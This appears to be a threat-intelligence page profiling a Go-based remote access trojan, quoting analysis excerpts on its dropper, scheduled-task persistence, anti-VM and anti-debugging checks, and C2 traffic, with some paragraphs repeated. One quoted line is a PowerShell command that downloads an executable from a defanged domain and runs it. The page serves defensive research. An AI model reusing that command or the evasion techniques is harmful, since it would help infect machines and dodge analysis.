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Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
16 distinct techniques documented for this family, organized by ATT&CK tactic.
Next, the dropper will attempt to establish a scheduled task named MicrosoftMouseCoreWork to start the RAT payload hourly to establish persistence.
powershell IWR -Uri hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog -OutFile C:\Users\[username]\AppData\Roaming\UpdateUAV.exe ;C:\Users\[username]\AppData\Roaming\UpdateUAV.exe
It is a 64-bit executable, written in Golang, 3.5MB in size, and UPX packed... Like the dropper itself, it is written in Go, and is UPX packed.
All of this data is both base64 encoded and encrypted, regardless of whether the C2 communication is happening over HTTP or HTTPS.
The dropper will stop execution if it encounters any of the following conditions: The size of the hard disk on the system is less than a certain size... The name of the hard disk... contains... 'virtual' 'vbox' 'vmware'... The MAC address queried returns any of the following OUI values...
The dropper will stop execution if it encounters any of the following conditions... Any of the following reverse engineering/debugging programs are encountered in the process list... Appears to query for the following network interface names
A time measurement function checks to see if the amount of time elapsed execution specific functions is deemed 'excessive'. If the time threshold is reached, the malware assumes it is being debugged, and will exit. In addition to the anti-reversing checks provided by Chacal... Uses the IsDebuggerPresent API to determine if the executable is being debugged
The dropper will stop execution if it encounters any of the following conditions: The size of the hard disk on the system is less than a certain size... The name of the hard disk... contains... 'virtual' 'vbox' 'vmware'... The MAC address queried returns any of the following OUI values...
The dropper will stop execution if it encounters any of the following conditions... Any of the following reverse engineering/debugging programs are encountered in the process list... Appears to query for the following network interface names
A time measurement function checks to see if the amount of time elapsed execution specific functions is deemed 'excessive'. If the time threshold is reached, the malware assumes it is being debugged, and will exit. In addition to the anti-reversing checks provided by Chacal... Uses the IsDebuggerPresent API to determine if the executable is being debugged
As with most modern malware families, this RAT prefers to handle its communications over SSL. Proofpoint observed two types of network traffic. The first is a simple Heartbeat/Keep-Alive to the C2 domains/IP addresses. Additional communication observed was a POST request to the configured C2 domains and IP addresses
18 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.